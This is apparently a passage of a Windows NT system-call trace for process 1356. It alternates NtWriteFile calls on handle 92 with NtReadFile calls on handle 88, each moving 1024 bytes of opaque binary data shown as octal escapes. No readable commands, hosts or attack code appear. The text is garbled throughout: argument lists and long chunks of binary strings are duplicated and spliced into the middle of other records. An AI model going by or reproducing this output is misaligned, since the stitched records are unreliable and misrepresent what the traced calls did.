 01333  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\241\347=\343\315;\0'\211\242V\267\266\232#\263\2253\314\250\355\257\34\11\215@ei%j\275\334`\363\1\367\376\230J\3\347\307Nq\314\355\3643\214\366\325v\377\253f\5\36\314I5\7\256/P\315\14U;\224\335\364\370\220\222\302l\255:\207WY\230g\310a9R\333\236\310o\347m\202\366\236\3711\34\25o\267\226\251\207R`\30\374l\376\36\317\242s\20001T\3l\274\262\3302E \367o0~\261\35>\325\266y\222\331\316DBT\261~L\266\231\245\313,\307~\2\21\24pY\203\356\3038S\275hV\314\21\6;\254\5$\265,\225<\0\306\362\206EJ\24\32\355\235\305\307D\202LO\325\226oL\236H\220\202\316\27}\227\24\371o"f\226,\343\302E\326\323\231TZz$\14\364\243\230\260\266X\303\310\202\237\322\300\367\200\254\240\210n\375\246\226\7\111\340\271|\331f\7cd\37\27\366\317\14(]\313_\16\1P\344\373P\17\371VS\13y5C\355\217\261-\363\220\310\2\212{\377\246G\344\22\245\357%\4\33\275\200\362\244|\223\220\277.\23\375\364\204\356\16$\25\227\33\371\336\243es\12\355\300\27Y*Y\300\213\0/\3632\177\255\211/(\21\246\354\202z\315\276q\316\341\307\301\237`yH=\324\254Y<\270\3|e\23\343\312Nb\0j\337\257\325f\24\305\5\302\33\240\246\267\316\216\252\274\222\220\346<\332\2415\335\33\11\204\20\224\270\315\303\37\355\1k9'#(\265?\321U_K\377"\371%\305\275\37$'\323\214\213\222\2636zFE\325\337\313\220\220xM\213\311={\356K\200\224\346\341\306}J\272\226w/\274l\355\200\22\270\3138\16-\364SV/\311\215Cj\372\235\231\310\230\343\314?\366X\214\241+\266\21\270JJ\245K\267", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) f\226,\343\302E\326\323\231TZz$\14\364\243\230\260\266X\303\310\202\237\322\300\367\200\254\240\210n\375\246\226\7\111\340\271|\331f\7cd\37\27\366\317\14(]\313_\16\1P\344\373P\17\371VS\13y5C\355\217\261-\363\220\310\2\212{\377\246G\344\22\245\357%\4\33\275\200\362\244|\223\220\277.\23\375\364\204\356\16$\25\227\33\371\336\243es\12\355\300\27Y*Y\300\213\0/\3632\177\255\211/(\21\246\354\202z\315\276q\316\341\307\301\237`yH=\324\254Y<\270\3|e\23\343\312Nb\0j\337\257\325f\24\305\5\302\33\240\246\267\316\216\252\274\222\220\346<\332\2415\335\33\11\204\20\224\270\315\303\37\355\1k9'#(\265?\321U_K\377 (92, 0, 0, 0, "\241\347=\343\315;\0'\211\242V\267\266\232#\263\2253\314\250\355\257\34\11\215@ei%j\275\334`\363\1\367\376\230J\3\347\307Nq\314\355\3643\214\366\325v\377\253f\5\36\314I5\7\256/P\315\14U;\224\335\364\370\220\222\302l\255:\207WY\230g\310a9R\333\236\310o\347m\202\366\236\3711\34\25o\267\226\251\207R`\30\374l\376\36\317\242s\20001T\3l\274\262\3302E \367o0~\261\35>\325\266y\222\331\316DBT\261~L\266\231\245\313,\307~\2\21\24pY\203\356\3038S\275hV\314\21\6;\254\5$\265,\225<\0\306\362\206EJ\24\32\355\235\305\307D\202LO\325\226oL\236H\220\202\316\27}\227\24\371o"f\226,\343\302E\326\323\231TZz$\14\364\243\230\260\266X\303\310\202\237\322\300\367\200\254\240\210n\375\246\226\7\111\340\271|\331f\7cd\37\27\366\317\14(]\313_\16\1P\344\373P\17\371VS\13y5C\355\217\261-\363\220\310\2\212{\377\246G\344\22\245\357%\4\33\275\200\362\244|\223\220\277.\23\375\364\204\356\16$\25\227\33\371\336\243es\12\355\300\27Y*Y\300\213\0/\3632\177\255\211/(\21\246\354\202z\315\276q\316\341\307\301\237`yH=\324\254Y<\270\3|e\23\343\312Nb\0j\337\257\325f\24\305\5\302\33\240\246\267\316\216\252\274\222\220\346<\332\2415\335\33\11\204\20\224\270\315\303\37\355\1k9'#(\265?\321U_K\377"\371%\305\275\37$'\323\214\213\222\2636zFE\325\337\313\220\220xM\213\311={\356K\200\224\346\341\306}J\272\226w/\274l\355\200\22\270\3138\16-\364SV/\311\215Cj\372\235\231\310\230\343\314?\366X\214\241+\266\21\270JJ\245K\267", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01334  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\274\35\10\6\334=\15\366[\36l\37\226\254\12G#\5&@W(mZ+}}\356}f\271\276\27b\2256\367\34P{\1Ti\37HMO]\12W\20T\330\3`a\2s \242\37\363\35\203\352?\265\361rl@6f\310\356\11\17\17dm\326B;\30\375\37\17\363\34/k\322\241\2\267.(_*.s\326t\261\365\3623[Y9779?;\274nkiLv\11t\257\17-#+%\331((&*$,". 0>2<4:60795;4=\276\211\33\221\220\206\344\337\336\313\330d\263\332\330\245\244\342*\214\335{-`\2013c\3217f\3279\21\340*<\25\265\272\217\345\235\3775\21\376\343}\325\206\244\326\326^e\255-g\17_\273.\223h\241\3675t\35\32[f]2n\344\111\336\36\340\267*\3N5tqNI(=J\344\216\276$3\362i!\1v4X\33\2729\217"w\300\2\217#=)\306;4\302&75\264[$<6K;,9#N\33\14\315\310P!0'\344\6\2262,I\353*\255-\204G\2651B\2664M\2637\270\274:\221\264\270>\257\236v\370\25;7\36\21,$\200/\341\203 \253\307\264-,/2b\271\352b\2746k\341\267p8\325\327\36\373\33\226\252;\220A#s\2515hY\300\312\372-\251\355!/\265W136`a_\3409;\15|4\336oJNu\333\13\274\300\242\271\201e/\244\3545#+P\31Zo\177w\11\270\373\235f\337\24\2734O\27030\253\25\376w\235\21\177\177y\252\255\310\25g\271/bg\275m\26\246D\256\333\364u\264\312\307Q\312z\35\270< W\3\35\1\37\27>"<$\245", ) . 0>2<4:60795;4=\276\211\33\221\220\206\344\337\336\313\330d\263\332\330\245\244\342*\214\335{-`\2013c\3217f\3279\21\340*<\25\265\272\217\345\235\3775\21\376\343}\325\206\244\326\326^e\255-g\17_\273.\223h\241\3675t\35\32[f]2n\344\111\336\36\340\267*\3N5tqNI(=J\344\216\276$3\362i!\1v4X\33\2729\217300\16\224\235:\202Q!\302\7\217= (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\274\35\10\6\334=\15\366[\36l\37\226\254\12G#\5&@W(mZ+}}\356}f\271\276\27b\2256\367\34P{\1Ti\37HMO]\12W\20T\330\3`a\2s \242\37\363\35\203\352?\265\361rl@6f\310\356\11\17\17dm\326B;\30\375\37\17\363\34/k\322\241\2\267.(_*.s\326t\261\365\3623[Y9779?;\274nkiLv\11t\257\17-#+%\331((&*$,". 0>2<4:60795;4=\276\211\33\221\220\206\344\337\336\313\330d\263\332\330\245\244\342*\214\335{-`\2013c\3217f\3279\21\340*<\25\265\272\217\345\235\3775\21\376\343}\325\206\244\326\326^e\255-g\17_\273.\223h\241\3675t\35\32[f]2n\344\111\336\36\340\267*\3N5tqNI(=J\344\216\276$3\362i!\1v4X\33\2729\217"w\300\2\217#=)\306;4\302&75\264[$<6K;,9#N\33\14\315\310P!0'\344\6\2262,I\353*\255-\204G\2651B\2664M\2637\270\274:\221\264\270>\257\236v\370\25;7\36\21,$\200/\341\203 \253\307\264-,/2b\271\352b\2746k\341\267p8\325\327\36\373\33\226\252;\220A#s\2515hY\300\312\372-\251\355!/\265W136`a_\3409;\15|4\336oJNu\333\13\274\300\242\271\201e/\244\3545#+P\31Zo\177w\11\270\373\235f\337\24\2734O\27030\253\25\376w\235\21\177\177y\252\255\310\25g\271/bg\275m\26\246D\256\333\364u\264\312\307Q\312z\35\270< W\3\35\1\37\27>"<$\245", ) <$\245", ) == 0x0
 01335  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\324Q\234\362lU\371\340\201\33\266\204m\243\246U\370\22\257\267nC\12\237\23\215\323P\260!\223\324~\366\263$\37\254\266\247\226D?\14l-Uga6\235\323\277h\3\261v\3018OR\234\366\361\300-~\7\227\1\304rx\224\35\334\200T\5\275<\226\325?\355A\211\356\250\24\235u\326!\37\266\335X\264\266\212o\246\360\376\243x#\313%\374\317W\325\214G\275\30E\261\254\332\243\377e\363\264\205\347\11\277U\364\261E+TR\312[CM\6\327\346\270\302G\301u}T\336M\256\347 f=\263a\13P\227z\301,.vF\326}o\2026('\3058|\343\302/\341\273\304\231{\272\225\311\34\34/Y\337Aa)\374\273\173\245\315H\354\306\247\374\242\324\353\332\325\304\302\20;\177\374T\356N\273e\346\252\340D\323\332\11m\317bbre#u\3143\267QUh\342\210"\271\23\6C\31E!\275H~\2129\215\354\215U\24\305\234)\350\245\3078\3\232i\3747f\311\17\257>\13^\263\345\256\315]\332\321r\24Sv\261\214.\2217\265\244\224\151\262r\254\361gnNB0\325\6\234\12p%\21\242O_\240-\317[\3006\350\6\23\363\213Z\230a(\312\31L\33\316\334\0\24\226}\177\202d[\351=l\26l\272\372\37\3133@\26\21(\306\315\205z\326^S\275P\376\305e\23\313\205\2565\265\22\252\376\344\37\20\2Cn\36\221\21Vj\340r3\316\376\210\7\211\377\337\30\310$W\205R\307\32\251Rl\200{\273\35\232\253\255\2011\7\307\267\23\251\320%\334\364(\325\341\314\340\233\332 o\370\210oC\7\232\360 \206n)\226Y\1!\312\353!()\22,\223\335usij\367\230\326.\262\177\17\313;\277\177\317\310\3765\oc.\12\265W", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \271\23\6C\31E!\275H~\2129\215\354\215U\24\305\234)\350\245\3078\3\232i\3747f\311\17\257>\13^\263\345\256\315]\332\321r\24Sv\261\214.\2217\265\244\224\151\262r\254\361gnNB0\325\6\234\12p%\21\242O_\240-\317[\3006\350\6\23\363\213Z\230a(\312\31L\33\316\334\0\24\226}\177\202d[\351=l\26l\272\372\37\3133@\26\21(\306\315\205z\326^S\275P\376\305e\23\313\205\2565\265\22\252\376\344\37\20\2Cn\36\221\21Vj\340r3\316\376\210\7\211\377\337\30\310$W\205R\307\32\251Rl\200{\273\35\232\253\255\2011\7\307\267\23\251\320%\334\364(\325\341\314\340\233\332 o\370\210oC\7\232\360 \206n)\226Y\1!\312\353!()\22,\223\335usij\367\230\326.\262\177\17\313;\277\177\317\310\3765\oc.\12\265W", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01336  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "z-\21\244\373c\332pi\3106\310h\262|\0l\260p7\12\364+\37/Hyqg$%'\252f\17\302<\15\274\271\36_\23\271\206#\344%%e\244\215*\357,.R\2130\371Z37A\2227\364\351\270\237<\355V?\30@\271\36\313\300\202\206#\374M&$l\215*\330\211K\213\213\260W\273X\33\224*~\370;\372\262\177\14\2652;=\34\336(!\240\23\252o\20\255\352\245jJ\20\247\374\245\327\3209\226\15u5\362\313\234\261\361\344\315\237\277\227\20\366\335@1\226\202\34\245$\256 9\222i\223i!/?1=<4:6886:\242\213?\362\261\33v\342v\327_b"#%A\207',yN+\245\10.+ag\271\3024\274B\23<\264t.\373=z\33\13\34\31\366\346\365q\335\334\257\353'\344{z\12\2130E\321,0\2750bD8\364Y\300\12\314\213\2635\370\273'L\3\35k]\244\242\334P\P\6\243\376\312)\14\6\370\242\264\530fe0b\273h\313>`>\316\4\354`o\301\253+`)\327/]&u\300>\374\326\323\256\352%$1\1\2734\23iie\12\32\373g\274\372/\32\236\336\247\37-a"!\27\345\253\233(\15\302+/\220g\11010\300\237S\235\235^\0:\227\30\303>x!\21 7d')\263\251$2\246d\257*Dds2\333zw6\342\23\263:;\350\374\26\353\36\27e3i\340'\5*\344$6\33\350(G\276s\357-Gb\3631\26\27\267*\252t8\35dT\177;x\4\\37;\216&t\250\353\342ce\324\251\10;z\247\366\214)\2652\350A\14\4\367\263t\316;X\2643", ) #%A\207',yN+\245\10.+ag\271\3024\274B\23<\264t.\373=z\33\13\34\31\366\346\365q\335\334\257\353'\344{z\12\2130E\321,0\2750bD8\364Y\300\12\314\213\2635\370\273'L\3\35k]\244\242\334P\P\6\243\376\312)\14\6\370\242\264\530fe0b\273h\313>`>\316\4\354`o\301\253+`)\327/]&u\300>\374\326\323\256\352%$1\1\2734\23iie\12\32\373g\274\372/\32\236\336\247\37-a (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "z-\21\244\373c\332pi\3106\310h\262|\0l\260p7\12\364+\37/Hyqg$%'\252f\17\302<\15\274\271\36_\23\271\206#\344%%e\244\215*\357,.R\2130\371Z37A\2227\364\351\270\237<\355V?\30@\271\36\313\300\202\206#\374M&$l\215*\330\211K\213\213\260W\273X\33\224*~\370;\372\262\177\14\2652;=\34\336(!\240\23\252o\20\255\352\245jJ\20\247\374\245\327\3209\226\15u5\362\313\234\261\361\344\315\237\277\227\20\366\335@1\226\202\34\245$\256 9\222i\223i!/?1=<4:6886:\242\213?\362\261\33v\342v\327_b"#%A\207',yN+\245\10.+ag\271\3024\274B\23<\264t.\373=z\33\13\34\31\366\346\365q\335\334\257\353'\344{z\12\2130E\321,0\2750bD8\364Y\300\12\314\213\2635\370\273'L\3\35k]\244\242\334P\P\6\243\376\312)\14\6\370\242\264\530fe0b\273h\313>`>\316\4\354`o\301\253+`)\327/]&u\300>\374\326\323\256\352%$1\1\2734\23iie\12\32\373g\274\372/\32\236\336\247\37-a"!\27\345\253\233(\15\302+/\220g\11010\300\237S\235\235^\0:\227\30\303>x!\21 7d')\263\251$2\246d\257*Dds2\333zw6\342\23\263:;\350\374\26\353\36\27e3i\340'\5*\344$6\33\350(G\276s\357-Gb\3631\26\27\267*\252t8\35dT\177;x\4\\37;\216&t\250\353\342ce\324\251\10;z\247\366\214)\2652\350A\14\4\367\263t\316;X\2643", ) x!\21 7d')\263\251$2\246d\257*Dds2\333zw6\342\23\263:;\350\374\26\353\36\27e3i\340'\5*\344$6\33\350(G\276s\357-Gb\3631\26\27\267*\252t8\35dT\177;x\4\\37;\216&t\250\353\342ce\324\251\10;z\247\366\214)\2652\350A\14\4\367\263t\316;X\2643", ) == 0x0
 01337  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\352\3249\244\201a\276uc\271\265X\2122\233S\32\261~\203GR\3'\302nr\275j\261>\330\336\240\214\242z\371\306%D\333\332o-\343E\10\356\13TD\30'\332\366\333\321\254\275\13U\264g\37\262\274G\363!\224\20\310\30R\177\316\340r\275\266\320\33m\2158YcQ\24\352O\14 \323>/<]\267\210\203\14F\365\2604\31\23\360\335\261\245\227\307e\271\345\20\245\0\223\355\216\25\24"C\313\214\346?\36\250.\363BK\210\33\14G\251\344\353\379$\17\232-\\157P\214\215.\244\25Ub>\336W\246C\321\7\236\377\356`0\2050\275o\276\354\4\264\4\366\257\277X;\324\262\223\276\372u\2366\261\37\264\7[\222\310`\220\37\261(\355\354\203\307\343\337\346p\4\364x\201X:\17\213\303\32Z\3123o\352)\377\6x\270\246\204\241\221\22\320t\226E\324*\205\242\365\24by\244\321\250:\251\232}+\370\177\363\220E\264\321\237\27\233\0\1\327\36\343\256\227t\266^\316\220\236\354\334g\215\364\22N\213\353\3133\\363\212\346Lg\257\361@\315\342%J\5\212\15\232\15\21\333h\227}\333g\371\26\225"$\346W\237\263\306\35\316\342E\323;a\215\216D\245C{d\254\313\216l\217g\3132\242~-6\257\344?\255\265@*\0/\253\363\232\3271\11\300KQ\260N7\316<\375\315\350Y\222\303\3458^#'@4\345\20\245\243-\220\273\21F\316\5KL\271\33\4\237\331\355\230\243=\273Z\223~\20D\335\330\321P\262@+\251^\323\0|\320)\236\321\302\271]z<+\203C8u\277\217\256$\264\272-`!2\205'\362\252Z\321\200Sx\342\7\305\253\4\270\333\12\3328\276j6\227\307]\333\375\335\216g1P", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) C\313\214\346?\36\250.\363BK\210\33\14G\251\344\353\379$\17\232-\\157P\214\215.\244\25Ub>\336W\246C\321\7\236\377\356`0\2050\275o\276\354\4\264\4\366\257\277X;\324\262\223\276\372u\2366\261\37\264\7[\222\310`\220\37\261(\355\354\203\307\343\337\346p\4\364x\201X:\17\213\303\32Z\3123o\352)\377\6x\270\246\204\241\221\22\320t\226E\324*\205\242\365\24by\244\321\250:\251\232}+\370\177\363\220E\264\321\237\27\233\0\1\327\36\343\256\227t\266^\316\220\236\354\334g\215\364\22N\213\353\3133\\363\212\346Lg\257\361@\315\342%J\5\212\15\232\15\21\333h\227}\333g\371\26\225 (92, 0, 0, 0, "\352\3249\244\201a\276uc\271\265X\2122\233S\32\261~\203GR\3'\302nr\275j\261>\330\336\240\214\242z\371\306%D\333\332o-\343E\10\356\13TD\30'\332\366\333\321\254\275\13U\264g\37\262\274G\363!\224\20\310\30R\177\316\340r\275\266\320\33m\2158YcQ\24\352O\14 \323>/<]\267\210\203\14F\365\2604\31\23\360\335\261\245\227\307e\271\345\20\245\0\223\355\216\25\24"C\313\214\346?\36\250.\363BK\210\33\14G\251\344\353\379$\17\232-\\157P\214\215.\244\25Ub>\336W\246C\321\7\236\377\356`0\2050\275o\276\354\4\264\4\366\257\277X;\324\262\223\276\372u\2366\261\37\264\7[\222\310`\220\37\261(\355\354\203\307\343\337\346p\4\364x\201X:\17\213\303\32Z\3123o\352)\377\6x\270\246\204\241\221\22\320t\226E\324*\205\242\365\24by\244\321\250:\251\232}+\370\177\363\220E\264\321\237\27\233\0\1\327\36\343\256\227t\266^\316\220\236\354\334g\215\364\22N\213\353\3133\\363\212\346Lg\257\361@\315\342%J\5\212\15\232\15\21\333h\227}\333g\371\26\225"$\346W\237\263\306\35\316\342E\323;a\215\216D\245C{d\254\313\216l\217g\3132\242~-6\257\344?\255\265@*\0/\253\363\232\3271\11\300KQ\260N7\316<\375\315\350Y\222\303\3458^#'@4\345\20\245\243-\220\273\21F\316\5KL\271\33\4\237\331\355\230\243=\273Z\223~\20D\335\330\321P\262@+\251^\323\0|\320)\236\321\302\271]z<+\203C8u\277\217\256$\264\272-`!2\205'\362\252Z\321\200Sx\342\7\305\253\4\270\333\12\3328\276j6\227\307]\333\375\335\216g1P", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \333\12\3328\276j6\227\307]\333\375\335\216g1P", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01338  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\17!\255i\331\332\25\347vpm\224\272".(0\260\336\243E1BFs\36Z? m>=1\251\353R2Q \22bh\27kw\253(ByD]\326ci\1\32\310x\212g\207c\272\376\27\2549&?\21\250P\35\254\21=\227z\232NHaA\215\31-\3227\336)\235.\303\274)668;\276\362H*\265?T'L\366\235^\334\335($\267&M\241(\14_\365\246\271*1\25\2601&\3659\263\2069*8ik\265>\26L\365\255\25W!\240\313\2453\333\330'\255*\252,.\253\302DLW\264\262\264<08*>G\274\251\236?\30N\365N8\255\334\335#1\23%\31,\1(+.-\17\177\260?\236346\360\263\34\225n;>\2551\327J\227\35\14\257q\24137\257\355&-\214) ;\304\242\342\246\271\0\222\36\364]6s\263\376e\367\265\17\274>\33&\224.\337!\240#\244{M9'\334\30f\17$\225\356k0\262\3130C\34\311\23\2659&:\177=?\327\25\12M\343\340\342-""\224 '\220M,+\204,,\1\20402\275\34\341\264\31'\3305\341\3330\17\334\277Z\37\366\1\236?\240#\342\10#\340\13\351\250\313\17\267T\257\2565\263\2716\26\21\\5\370\257\15\12\276\156\355\34BW\34\373\0\221#\26\3\24~\22..\320022\26455d\11\233\13\314\15u\14\316)\21.\1,`\22~\20J\26\251\24\203\32\335\372Mo\10o0\374\276\2225\207\336\265dz\320\11v\237\274\206\331X7*\375p~\320w~\327=\342M\232(\5\236F\25\344\362'\340", ) .(0\260\336\243E1BFs\36Z? m>=1\251\353R2Q \22bh\27kw\253(ByD]\326ci\1\32\310x\212g\207c\272\376\27\2549&?\21\250P\35\254\21=\227z\232NHaA\215\31-\3227\336)\235.\303\274)668;\276\362H*\265?T'L\366\235^\334\335($\267&M\241(\14_\365\246\271*1\25\2601&\3659\263\2069*8ik\265>\26L\365\255\25W!\240\313\2453\333\330'\255*\252,.\253\302DLW\264\262\264<08*>G\274\251\236?\30N\365N8\255\334\335#1\23%\31,\1(+.-\17\177\260?\236346\360\263\34\225n;>\2551\327J\227\35\14\257q\24137\257\355&-\214) ;\304\242\342\246\271\0\222\36\364]6s\263\376e\367\265\17\274>\33&\224.\337!\240#\244{M9'\334\30f\17$\225\356k0\262\3130C\34\311\23\2659&:\177=?\327\25\12M\343\340\342-" (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\17!\255i\331\332\25\347vpm\224\272".(0\260\336\243E1BFs\36Z? m>=1\251\353R2Q \22bh\27kw\253(ByD]\326ci\1\32\310x\212g\207c\272\376\27\2549&?\21\250P\35\254\21=\227z\232NHaA\215\31-\3227\336)\235.\303\274)668;\276\362H*\265?T'L\366\235^\334\335($\267&M\241(\14_\365\246\271*1\25\2601&\3659\263\2069*8ik\265>\26L\365\255\25W!\240\313\2453\333\330'\255*\252,.\253\302DLW\264\262\264<08*>G\274\251\236?\30N\365N8\255\334\335#1\23%\31,\1(+.-\17\177\260?\236346\360\263\34\225n;>\2551\327J\227\35\14\257q\24137\257\355&-\214) ;\304\242\342\246\271\0\222\36\364]6s\263\376e\367\265\17\274>\33&\224.\337!\240#\244{M9'\334\30f\17$\225\356k0\262\3130C\34\311\23\2659&:\177=?\327\25\12M\343\340\342-""\224 '\220M,+\204,,\1\20402\275\34\341\264\31'\3305\341\3330\17\334\277Z\37\366\1\236?\240#\342\10#\340\13\351\250\313\17\267T\257\2565\263\2716\26\21\\5\370\257\15\12\276\156\355\34BW\34\373\0\221#\26\3\24~\22..\320022\26455d\11\233\13\314\15u\14\316)\21.\1,`\22~\20J\26\251\24\203\32\335\372Mo\10o0\374\276\2225\207\336\265dz\320\11v\237\274\206\331X7*\375p~\320w~\327=\342M\232(\5\236F\25\344\362'\340", ) , ) == 0x0
 01339  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "xce\320\346f\252\261\307\332\206$F\\333\323\234\367\1-\25Yr[/D\372(\300z\1\260p\3734\370Z\34\236Y\372\240n\271R%r\7VaQ\334\320\343A\350\336l3\355y\245\267\2\4\11\210?\314\33y\253\365(\255\326e\7C\205\361u\306D\211 =\301i\262_\247X\10i\304\270\33\6\25\14\356@\350\10\374o\310\355da\270s\264K\277;\262\151W\243b\227I\200S\320\305=3\270\227\322<\364Z[c\320\371\331Vf\310\327\260\336mCH\267*jr%@\3567\17\3233v\240M\232\260\216Ju\366\360\264\7\350\237M\215\132\245\1!\221\251i\257\337b\35\223\355\223]1\341Y\306*\5[~\2e"K\357\205\371\266 <\124BWns\213\346=^\206wL|\16\245\227\212\271_*x\327\267\372\324\225\367\37\206\213;\367\2123V\33\204\325A\346Z0$\322 \202)\217/\376\212G\201\315t\272\366~5i\327\3714V\273\31\356z^B\263.,\317\301\5\375\312\5\325\252^\221\254\243\12;\375n\210\205w\266\373c\223\210\25\24\254\347\355e@\335\225\264C\275\364\37:\265as\36\314\35\306\34\220nES\227/\32c\5}|\342\323\351[\26357\205\371\266 <\124BWns\213\346=^\206wL|\16\245\227\212\271_*x\327\267\372\324\225\367\37\206\213;\367\2123V\33\204\325A\346Z0$\322 \202)\217/\376\212G\201\315t\272\366~5i\327\3714V\273\31\356z^B\263.,\317\301\5\375\312\5\325\252^\221\254\243\12;\375n\210\205w\266\373c\223\210\25\24\254\347\355e@\335\225\264C\275\364\37:\265as\36\314\35\306\34\220nES\227/\32c\5}|\342\323\351[\26240\356\377r\327\36\206\345\305\353\226\236\303\243\30FTA)M\275X\237\272\267p/'\357X\333\315\350\226!5\330w\246QK\360;y-\270_\4\16\316\15\323J\252=\334\231e\2329}\11E5\17\232Q=)\25\3011\237\202\313A\353{\252\352\216\315\217\326\302\214\326\306V\211s1=\276\243\23\15N\337\261#\226\3224~\345:]\245\303\205 2A%\212\306\6yc$\243\220\310v$\240\304P\217\331\345\211YyHEh\370J\237\343d\307\253\300D\317\225", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01340  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\34OYEI\337\17\32<\35^\177!0\36\315e\376\5-\250\241R+->\30\235A\16r3Y\3445aI9\352?]L>\277\11pHj\37WU"\241P%\253S(\261\207_,\216^/\2459\312\2461\325\2472\236\321z;Y9\277\373\261\210\375\36\334\372+:\376."\373-\34\337T\360&\310\337/\352;n\262T\310\311\336k\306~.\2304\327ID\336\241\2r\267\0\252\154\250y:\33\10\310\33\366\351j\337\335f\204\2245G)\254_!\314*\272+\24\214\200\370,g\336F`\11\304\304T\231\356Vj\272\1\366]`A\12\250\240\1\332\304)y\342\303\370d,(00\3u\305\24\22\337y:\13z\15n\17F*\224,\312-\302\23\311\21\320\27'\24\16\32\36\30z\36J\34@\2K\0\225\6F\3\246\15[\16\244\10\226\12\253)\250+\322\25\367\27\370\21]\20%\37 \35;\33e\31\342\7?\12f\14Q\161\22>\272=\340h\2739h\235\33\320\232&\235\243%\344\214\243!-!\252-\236\250(aq2\230\227q6\241v;\257\1778\334|=m\223Y\367\26`"Xf'Wsf+Eo(\227l-qu26\231>\2165\20Q?tl,;\216"\25\274(\244\15\220=\202\30U&\340\263\313\214;8\276\300\377\33\334\256\346\17\37\1],$*&((&*$,".\324\2Y\241W\275\2063\273\325:#jW>>q\31w\36\23J(\257g\01L'.\242\333{\304[`\3200\316\261\367,c\275\377\3779~\37\24=:\327\211P\34\36?\346%ru\235MW", ) \241P%\253S(\261\207_,\216^/\2459\312\2461\325\2472\236\321z;Y9\277\373\261\210\375\36\334\372+:\376. (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\34OYEI\337\17\32<\35^\177!0\36\315e\376\5-\250\241R+->\30\235A\16r3Y\3445aI9\352?]L>\277\11pHj\37WU"\241P%\253S(\261\207_,\216^/\2459\312\2461\325\2472\236\321z;Y9\277\373\261\210\375\36\334\372+:\376."\373-\34\337T\360&\310\337/\352;n\262T\310\311\336k\306~.\2304\327ID\336\241\2r\267\0\252\154\250y:\33\10\310\33\366\351j\337\335f\204\2245G)\254_!\314*\272+\24\214\200\370,g\336F`\11\304\304T\231\356Vj\272\1\366]`A\12\250\240\1\332\304)y\342\303\370d,(00\3u\305\24\22\337y:\13z\15n\17F*\224,\312-\302\23\311\21\320\27'\24\16\32\36\30z\36J\34@\2K\0\225\6F\3\246\15[\16\244\10\226\12\253)\250+\322\25\367\27\370\21]\20%\37 \35;\33e\31\342\7?\12f\14Q\161\22>\272=\340h\2739h\235\33\320\232&\235\243%\344\214\243!-!\252-\236\250(aq2\230\227q6\241v;\257\1778\334|=m\223Y\367\26`"Xf'Wsf+Eo(\227l-qu26\231>\2165\20Q?tl,;\216"\25\274(\244\15\220=\202\30U&\340\263\313\214;8\276\300\377\33\334\256\346\17\37\1],$*&((&*$,".\324\2Y\241W\275\2063\273\325:#jW>>q\31w\36\23J(\257g\01L'.\242\333{\304[`\3200\316\261\367,c\275\377\3779~\37\24=:\327\211P\34\36?\346%ru\235MW", ) Xf'Wsf+Eo(\227l-qu26\231>\2165\20Q?tl,;\21625\230h\217w\312\242+N/\3312\370\361j (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\34OYEI\337\17\32<\35^\177!0\36\315e\376\5-\250\241R+->\30\235A\16r3Y\3445aI9\352?]L>\277\11pHj\37WU"\241P%\253S(\261\207_,\216^/\2459\312\2461\325\2472\236\321z;Y9\277\373\261\210\375\36\334\372+:\376."\373-\34\337T\360&\310\337/\352;n\262T\310\311\336k\306~.\2304\327ID\336\241\2r\267\0\252\154\250y:\33\10\310\33\366\351j\337\335f\204\2245G)\254_!\314*\272+\24\214\200\370,g\336F`\11\304\304T\231\356Vj\272\1\366]`A\12\250\240\1\332\304)y\342\303\370d,(00\3u\305\24\22\337y:\13z\15n\17F*\224,\312-\302\23\311\21\320\27'\24\16\32\36\30z\36J\34@\2K\0\225\6F\3\246\15[\16\244\10\226\12\253)\250+\322\25\367\27\370\21]\20%\37 \35;\33e\31\342\7?\12f\14Q\161\22>\272=\340h\2739h\235\33\320\232&\235\243%\344\214\243!-!\252-\236\250(aq2\230\227q6\241v;\257\1778\334|=m\223Y\367\26`"Xf'Wsf+Eo(\227l-qu26\231>\2165\20Q?tl,;\216"\25\274(\244\15\220=\202\30U&\340\263\313\214;8\276\300\377\33\334\256\346\17\37\1],$*&((&*$,".\324\2Y\241W\275\2063\273\325:#jW>>q\31w\36\23J(\257g\01L'.\242\333{\304[`\3200\316\261\367,c\275\377\3779~\37\24=:\327\211P\34\36?\346%ru\235MW", ) .\324\2Y\241W\275\2063\273\325:#jW>>q\31w\36\23J(\257g\01L'.\242\333{\304[`\3200\316\261\367,c\275\377\3779~\37\24=:\327\211P\34\36?\346%ru\235MW", ) == 0x0
